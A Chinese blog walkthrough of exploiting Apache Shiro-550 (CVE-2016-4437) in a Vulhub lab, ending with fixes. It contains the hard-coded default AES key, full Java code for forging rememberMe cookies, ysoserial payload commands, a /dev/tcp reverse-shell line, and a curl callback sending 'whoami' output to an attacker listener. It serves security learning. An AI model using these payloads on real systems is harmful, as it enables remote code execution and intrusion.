尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

Vulhub靶场(Shiro-550反序列化 RCE(CVE-2016-4437))从入门到入土

Vulhub靶场(Shiro-550反序列化 RCE(CVE-2016-4437))从入门到入土 0.前言和踩过的坑Apache Shiro 是一个广泛使用的 Java 安全框架。2016 年披露的 CVE-2016-4437(即Shiro-550)是其最著名的漏洞之一:Shiro 使用了一个硬编码的 AES 密钥来加密 rememberMe cookie,攻击者可以伪造 cookie 触发反序列化,最终实现远程代码执行。本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。嗯————有agent的帮助确实能让你事半功倍特别是在环境的配置和工具的安装上能让你略过最恶心人最耗费耐心最没有意义的部分实际上他可以自己打通这个靶场不过我不想这样因为这样实在是学了个寂寞看一看学一学它在干什么怎么做的自己去输入一遍指令但也不能完全相信它它是不懂得变通的或者说变通的能力是有限度的它帮我踩过的坑包括但不限于0.1 JVM版本问题JDK 21 运行 ysoserial 时会Invalid or corrupt jarfile必须使用JDK8才行然后他给出的方案是在docker里面下载JDK8然后每次使用的时候都要打开docker后来我觉得这样太麻烦了就在kali里面下载JDK8了java -jar ysoserial-all.jar CommonsCollections5 touch /tmp/pwned payload.bin而它写了一个脚本其核心是这样的docker run --rm -v D:\桌面\靶场:/work eclipse-temurin:8-jre java -jar /work/ysoserial-all.jar CommonsCollections5 touch /tmp/pwned解决方案在kali里面下一个JDK8要用时就直接指定版本0.2 Windows与Linux的不适配问题没错我一开始是在本机win上尝试攻击docker的结果发现很多指令都会发生错误原生命令的 payload 是二进制直接打印 stdout。在 bash 里 payload.bin没问题但PowerShell 的是文本重定向——它会把字节流按文本解码再编码二进制全被破坏这就是为什么不能在win里写java -jar ... payload.bin这种东西所以它选择写脚本用 .NET 的Process启动 docker然后把 stdout 的原始字节流直接抄进文件第 30 行: File.Create 建文件第 32 行: StandardOutput.BaseStream.CopyTo(fs) ← 字节流直抄不经文本层看脚本调环境试命令实在是不要太折磨就这样最终还是打通了这里我就略过了终于知道为什么都是在Linux上搞了之后换成kali后就顺畅多了0.3 编译后的 class 在 JDK 8 上跑不了UnsupportedClassVersionError: PayloadGen has been compiled by a more recent version (class file version 65.0), this version only recognizes up to 52.0原因: JDK 21 默认编译出的 class 版本号是 65.0,JDK 8 只认 52.0。解决: javac --release 8,显式指定目标版本。0.4:反弹 shell 失败——/dev/tcp 不可用bash -i /dev/tcp/192.168.153.128/9999 01# 在 Docker 精简容器中无响应原因: 很多 Docker 镜像(如 vulhub)用的 bash 编译时没启用 --enable-net-redirections,/dev/tcp 伪文件不存在。说人话就是这个靶场不具备真实的开bash的能力不支持反弹shell这种高级功能0.5:ysoserial-all.jar GitHub 下载极慢在主机上下载本身是很快的但在kali里面不知道为什么那么慢90MB 的 jar 从 GitHub 下载可能卡几十分钟。两种绕过方案:瘦方案: 只下载 562KB 的 commons-collections-3.2.1.jar 手写 80 行 PayloadGen.java快方案: 从主机浏览器下载 → 拖入共享文件夹 /mnt/hgfs/1.环境准备靶场: vulhub/shiro/CVE-2016-4437(Docker)攻击机: Kali Linux 2025.4核心工具: JDK 8 ysoserial 自写 ShiroEnc nc组件版本 / 来源用途JDK 8 JRETemurin 8u422运行 ysoserialJDK 9 反射限制会导致 gadget 链失败JDK 21 javacKali 自带编译加密工具标准 API任意版本均可ysoserial-all.jarv0.0.657MB生成 CC5 反序列化 payloadShiroEnc.java自写约 60 行AES/CBC 加密 IV 拼装 Base64 输出 rememberMe cookienc系统自带带外回显 / 反弹 shell 监听2.基本原理与核心代码审计要不先简单介绍一下shiro是什么吧Apache Shiro 简单介绍Apache Shiro 是一款 Java 语言的轻量级开源安全权限框架相比笨重的 Spring Security它上手简单、依赖少经常集成在 SpringBoot Web 项目里负责应用的身份认证、授权、会话管理、密码加密等安全能力。核心四大功能认证Authentication登录校验判断你是谁核对账号密码。授权Authorization权限控制判断你能干什么角色、接口访问控制。会话管理Session用户会话支持非 Web 环境使用 SessionrememberMe记住我就是会话持久化功能关闭浏览器再次访问不用重新登录信息保存在客户端 Cookie。密码加密Cryptography提供哈希、AES 加密工具用于密码存储、Cookie 数据加密。为什么会爆出 Shiro‑550RememberMe 反序列化漏洞 CVE‑2016‑4437这也是安全测试最常接触的漏洞 Shiro 的 remember‑me 功能逻辑 用户勾选记住我登录成功后服务端把用户身份对象序列化 → AES‑CBC 加密 → Base64 编码放到 Cookie 的rememberMe字段返回浏览器。用户下次访问服务端流程 读取 Cookie rememberMe 值 → Base64 解码 → AES 解密 →ObjectInputStream直接反序列化得到对象。漏洞根源如果攻击者拿到或者暴力破解Shiro 的 AES 密钥就可以本地构造恶意序列化 Gadget加密后伪造 rememberMe Cookie。服务端解密之后直接反序列化触发恶意代码实现远程命令执行。关键点漏洞不是 AES 加密算法本身有问题是可控反序列化密钥泄露 / 弱密钥是利用的前提。和 SpringSecurity 的简单区分Shiro轻量配置简单老项目大量使用自带 rememberMe 逻辑历史上出名的反序列化漏洞。SpringSecuritySpring 生态原生功能强大厚重默认没有 rememberMe 自定义加密逻辑很少出现这类组件反序列化漏洞。核心代码审计这是当年漏洞的核心代码// 解密逻辑前16字节当做IV后面是密文 private byte[] doFinal(byte[] ciphertext, byte[] key, boolean encrypt) { // 漏洞特征IV直接从密文头部截取攻击者可控IV byte[] iv new byte[16]; System.arraycopy(ciphertext, 0, iv, 0, 16); IvParameterSpec ivSpec new IvParameterSpec(iv); Cipher cipher Cipher.getInstance(AES/CBC/PKCS5Padding); SecretKeySpec secretKey new SecretKeySpec(key, AES); cipher.init(encrypt ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, secretKey, ivSpec); // 去掉前16字节IV解密后面内容 byte[] realCipherText Arrays.copyOfRange(ciphertext,16,ciphertext.length); return cipher.doFinal(realCipherText); }先对传过来的cookie rememberMe值进行解密这个加密和解密过程我不是很感兴趣只是大概略过知道里面的密钥是写死的最核心前面有一个随机部分IV攻击者可控而任何人只要知道了这个密钥就能对你进行攻击而你的密钥又是shiro里面写死的任何人只要去看了shiro源代码就能知道你这个密钥而上面也说了shiro是开源的// 源码里直接写死的常量 private static final byte[] DEFAULT_CIPHER_KEY_BYTES Base64.decode(kPHbIxk5D2deZiIxcaaaA);解密完后交给解析cookie rememberMe值的函数deserialize()// 获取cookie rememberMe值解密得到字节数组 protected SerializedCollection deserialize(byte[] serialized) { byte[] decrypted decrypt(serialized); // 关键危险点直接把字节流交给 ObjectInputStream 反序列化 ByteArrayInputStream bais new ByteArrayInputStream(decrypted); ObjectInputStream ois new ObjectInputStream(bais); return (SerializedCollection) ois.readObject(); }可以看到这个解析cookie rememberMe值的函数deserialize直接rememberMe的值把字节流交给ObjectInputStream,从而触发反序列化漏洞而根据当年的源码AI给我生成了这样一段加密恶意payload的代码import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.nio.file.Files; import java.nio.file.Paths; import java.security.SecureRandom; import java.util.Base64; /** * ShiroEnc — 将 ysoserial 生成的裸序列化 payload 包装成 Shiro rememberMe cookie * 用法: java ShiroEnc payload.bin aesKeyBase64 output.txt * 格式: [IV(16字节)][AES/CBC/PKCS5Padding密文] → Base64 * (Shiro 1.2.4 JcaCipherService.decrypt: 前16字节为IV其余为密文) */ public class ShiroEnc { public static void main(String[] args) throws Exception { if (args.length 3) { System.out.println(用法: java ShiroEnc payload.bin aesKeyBase64 output.txt); return; } byte[] payload Files.readAllBytes(Paths.get(args[0])); byte[] key Base64.getDecoder().decode(args[1]); byte[] iv new byte[16]; new SecureRandom().nextBytes(iv); Cipher cipher Cipher.getInstance(AES/CBC/PKCS5Padding); cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, AES), new IvParameterSpec(iv)); byte[] enc cipher.doFinal(payload); // Shiro 1.2.4 格式: [IV(16)][ciphertext]无长度头 byte[] out new byte[iv.length enc.length]; System.arraycopy(iv, 0, out, 0, iv.length); System.arraycopy(enc, 0, out, iv.length, enc.length); String cookie Base64.getEncoder().encodeToString(out); Files.write(Paths.get(args[2]), cookie.getBytes()); System.out.println([] cookie 已写入: args[2] ( cookie.length() chars)); } }说人话就是他需要你传入三个参数生成payload的位置密钥keykPHbIxk5D2deZiIxcaaaA,还有文件保存在哪然后就可以生成cookie了3.攻击流程我本来是想搞反弹shell的结果这玩意太低级了不支持这个功能只能求其次了3.1 进行指纹检验先确认是 Shiro再谈打┌──(root㉿kali)-[/home/kali/Desktop] └─# curl -i http://192.168.153.1:8080/login -H Cookie: rememberMe1 | grep -i deleteMe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2608 0 2608 0 0 283355 0 --:--:-- --:--:-- --:--:-- 289777 Set-Cookie: rememberMedeleteMe; Path/; Max-Age0; ExpiresSun, 09-Aug-2026 11:56:42 GMT ┌──(root㉿kali)-[/home/kali/Desktop] └─# /opt/jdk8/bin/java -jar ysoserial-all.jar URLDNS http://$(date %s).your.dnslog.cn dns.bin java ShiroEnc dns.bin kPHbIxk5D2deZiIxcaaaA dns-cookie.txt curl -s http://192.168.153.1:8080/login -H Cookie: rememberMe$(cat dns-cookie.txt) # 去 dnslog 平台看有没有解析记录 → 有 密钥对 能反序列化再上 CC53.2 用 ysoserial 生成序列化 payload/opt/jdk8/bin/java -jar ysoserial-all.jar \ CommonsCollections5 \ bash -c curl http://192.168.153.128:8888/$(whoami) \ oob.bin3.3 记得先编译一下ShiroEnc.java成.classjavac /home/kali/Desktop/ShiroEnc.java -d /home/kali/Desktop/ echo [OK] ls -l /home/kali/Desktop/ShiroEnc.class [OK] -rw-rw-r-- 1 root root 2455 Aug 10 07:22 /home/kali/Desktop/ShiroEnc.class3.4 加密成 rememberMe cookiejava ShiroEnc oob.bin kPHbIxk5D2deZiIxcaaaA cookie.txt3.5 发送攻击 带外回显窗口 1(监听):nc -lvnp 8888窗口 2(攻击):curl -i http://192.168.153.1:8080/login \-H Cookie: rememberMe$(cat cookie.txt)3.6 结果分析# nc 窗口收到:connect to [192.168.153.128] from [192.168.153.1] 63713 GET /root HTTP/1.1 ← $(whoami) 展开为 root User-Agent: curl/7.38.0 Host: 192.168.153.128:8888命令执行成功,靶机以 root 身份运行。4. 修复方案4.1 升级 ShiroShiro 1.2.5 将密钥改为随机生成,不再硬编码。最低要求升级到 1.7.0。4.2 更换密钥如果无法升级,在 shiro.ini 中自定义密钥:securityManager.rememberMeManager.cipherKey 你自己的 Base64 密钥生成新密钥:openssl rand -base64 164.3 启用反序列化白名单(Shiro 1.7)securityManager.rememberMeManager.serializer org.apache.shiro.io.DefaultSerializer替换为自定义 Serializer,对反序列化的类做白名单校验。4.4 纵深防御WAF 层检测异常大的 rememberMe cookie(正常仅几十字节,攻击 payload 通常 2000 字符)网络层限制容器出站连接(阻断 curl 带外 / 反弹 shell)容器以非 root 用户运行(USER nobody)
返回列表